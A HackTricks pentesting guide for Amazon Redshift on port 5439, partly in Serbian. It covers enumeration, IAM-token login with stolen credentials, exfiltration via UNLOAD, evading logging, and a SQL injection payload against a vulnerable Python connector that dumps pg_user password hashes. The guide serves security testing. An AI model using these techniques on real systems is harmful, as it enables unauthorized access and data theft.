5439 - Pentesting Redshift

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ovaj port koristi Amazon Redshift (AWS upravljano skladište podataka). Redshift wire protokol je blago izmenjeni PostgreSQL protokol, pa većina Postgres klijentskih alata radi (psql, psycopg2, JDBC/ODBC), ali zahtevi za autentifikaciju i TLS se razlikuju.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

Enumeration & Connectivity

  • Default port: 5439/TCP (customizable). Serverless workgroups also default to 5439.
  • Public endpoint pattern: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (Kina). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift zahteva TLS 1.2+ i perfect-forward-secrecy šifre. Stari klijenti mogu da ne uspeju; primorajte korišćenje modernog TLS-a:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl kontroliše da li je plaintext dozvoljen. Novi klasteri/workgroups koriste default.redshift-2.0 sa require_ssl=true, pa downgrade/mitm postaje teži.

Quick enum with psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Greške razlikuju pogrešnu lozinku i nepostojećeg korisnika → potencijalna username enumeration tokom brute force.

Putanje autentifikacije za testiranje

  • Database password za master user-a (često nazvan awsuser) ili kreirane DB korisnike.
  • IAM auth tokens: generišite kratkotrajne kredencijale i povežite se preko libpq/JDBC/ODBC koristeći sslmode=require i authMech=IAM ili plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Iskoristite ukradene IAM creds/roles sa ekvivalentnom dozvolom tipa rds-db:connect za Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name može pokrenuti lokalni webserver za SSO; uhvaćen loopback callback može leak SAML assertion ili temp creds.

Uobičajene pogrešne konfiguracije (mreža)

  • Cluster označen PubliclyAccessible=true sa široko otvorenim SG (0.0.0.0/0) izlaže Postgres-like površinu za brute force ili SQLi eksploataciju.
  • Default port 5439 plus default SG omogućava lako otkrivanje (Shodan/Censys). Promena porta je mala obfuskacija ali ponekad se previdi u kontrolnim listama za hardening.
  • No enhanced VPC routing → COPY/UNLOAD idu preko javnog Interneta; može se zloupotrebiti za exfil kada napadač kontroliše S3 bucket/endpoint.

Napomene o napadu

  • Ako login uspe, Redshift u serverless modu nema superuser-a; u provisioned klasterima master user ima široka prava uključujući kreiranje UDFs (Python), external schema prema Spectrum, COPY iz attacker S3, i UNLOAD za exfil podataka.
  • Proverite cluster parameter group za max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – onemogućeno logovanje pomaže prikrivanju.
  • Serverless workgroups su i dalje dostupni preko TCP; ista SQL površina za napad kao kod provisioned klastera.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 i ODBC 2.1.5.0 grade metadata upite sa nequoted korisničkim ulazom u getSchemas/getTables/getColumns (CVE-2024-12744/5/6). Ako aplikacija dozvoli napadačima kontrolu catalog ili pattern argumenata, možete injektovati proizvoljan SQL koji se izvršava pod DB user-om koji koristi konektor.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs prestaju sa radom 30. juna 2026; nakon toga dozvoljeni samo Lambda UDFs. Ofanzivni uticaj: legacy provisioned klasteri i dalje mogu izvršavati Python UDFs za in-cluster code exec (bez FS/network). Lambda UDFs premeštaju kod u Lambda gde IAM role može doći do Internet/VPC endpointa za SSRF/pivot ali bez direktnog pristupa fajl-sistemu klastera. Traganje za starim klasterima sa omogućenim Python UDFs i dalje može dati RCE primitive.

Nedavne promene u bezbednosti (uticaj na napadača)

  • Public access disabled by default na novim klasterima/snapshot-ima (promena 10. jan 2025). Legacy klasteri mogu i dalje biti javni.
  • Encryption at rest + enforced TLS by default znači da je sniffing/mitm teži; potrebni su validni kredencijali ili SSRF u VPC putanju.
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints se kreiraju u do 3 AZ prilikom kreiranja. Alati za otkrivanje treba da enumerišu sve workgroup VPCE DNS nazive po AZ-u da bi našli dostupne IP-ove.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks